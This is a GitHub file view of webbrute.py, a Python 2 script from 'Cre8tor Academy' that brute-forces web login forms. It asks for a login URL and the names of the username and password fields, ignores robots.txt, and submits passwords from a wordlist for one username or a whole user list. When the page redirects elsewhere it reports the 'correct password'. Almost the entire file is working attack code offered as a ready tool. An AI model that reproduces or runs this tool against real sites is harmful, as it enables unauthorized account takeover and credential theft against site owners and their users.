-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathwebbrute.py
93 lines (90 loc) · 4.66 KB
/
webbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import mechanize
import pyfiglet
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
ascii_banner = pyfiglet.figlet_format("WEB BRUTE")
print("\033[0;31;40m" +ascii_banner)
print("\033[1;33;40m \t|+++++++:Welcome To bruteforce tool:+++++++|\n")
print("\033[1;33;40m\t \t|+++++++:Cre8tor Academy:+++++++|\n")
url = str(raw_input("\033[1;34;40m Enter Url Of Login Page: \033[1;32;40m"))
if len(url) > 0:
br.open(url)
input_fst = raw_input(
"\033[1;34;40m Please Enter Username Input Tag Name :\033[1;32;40m ")
input_scnd = raw_input(
" \033[1;34;40m Please Enter Password Input Tag Name :\033[1;32;40m ")
if len(input_fst) <= 0:
print("\033[1;33;40m---------------------------------------------")
print("|\t \033[1;31;40m Invalid Username Feild \033[1;33;40m \t \t|")
print("---------------------------------------------\033[0;37;40m ")
exit()
elif len(input_scnd) <= 0:
print("\033[1;33;40m---------------------------------------------")
print("|\t \033[1;31;40m Invalid Password Feild \033[1;33;40m \t \t|")
print("---------------------------------------------\033[0;37;40m ")
exit()
else:
test = raw_input("You Know Username (y/n)")
if test == "y":
username = raw_input("\033[1;34;40m Enter username: \033[1;32;40m")
passlist = raw_input("\033[1;34;40m Enter Password List Path Default (pass.txt Hit Enter) :\033[1;32;40m")
if not passlist:
combos = open("pass.txt", "r")
data = combos.read().splitlines()
else:
combos = open(passlist, "r")
data = combos.read().splitlines()
for x in data:
br.select_form(nr=0)
br.form[''.join(input_fst)] = username
br.form[''.join(input_scnd)] = x
response = br.submit()
if response.geturl() == url:
print(
"\033[1;33;40m Cracking |+| WRONG PASSWORD = \033[1;31;40m" + x)
else:
print("\033[1;33;40m-----------------------------------------------------")
print("\033[1;33;40m \t \t Correct password is = \033[1;32;40m" + x)
print("\033[1;33;40m-----------------------------------------------------\033[0;37;40m ")
break
exit()
else:
user_file = raw_input("\033[1;34;40m Enter the path of Username File Default (users.txt):\033[1;32;40m ")
passlist = raw_input("\033[1;34;40m Enter Password List Path Default (pass.txt Hit Enter) :\033[1;32;40m")
if not passlist:
combos = open("pass.txt", "r")
data = combos.read().splitlines()
else:
combos = open(passlist, "r")
data = combos.read().splitlines()
if not user_file:
print("Taking Default")
file = open ("users.txt", "r")
usr_data = file.read().splitlines()
else:
print("Loading Users Files")
file = open (user_file, "r")
usr_data = file.read().splitlines()
for y in usr_data:
print (" \033[1;33;40mChenking User \033[1;31;40m" + y)
for x in data:
br.select_form(nr=0)
br.form[''.join(input_fst)] = y
br.form[''.join(input_scnd)] = x
response = br.submit()
if response.geturl() == url:
print(
"\033[1;33;40m Cracking |+| WRONG PASSWORD = \033[1;31;40m" + x + "\033[1;33;40m For Username = \033[1;31;40m" + y)
else:
print("\033[1;33;40m--------------------------------------------------------------------------------------------------------")
print("\033[1;33;40m \t \t Correct password is = \033[1;32;40m" + x + "\033[1;33;40m \t \t For Username = \033[1;32;40m" + y)
print("\033[1;33;40m--------------------------------------------------------------------------------------------------------\033[0;37;40m ")
break
else:
print("\033[1;33;40m---------------------------------------------")
print("|\t \t \033[1;31;40m Invalid URL \033[1;33;40m \t \t|")
print("---------------------------------------------\033[0;37;40m ")
exit()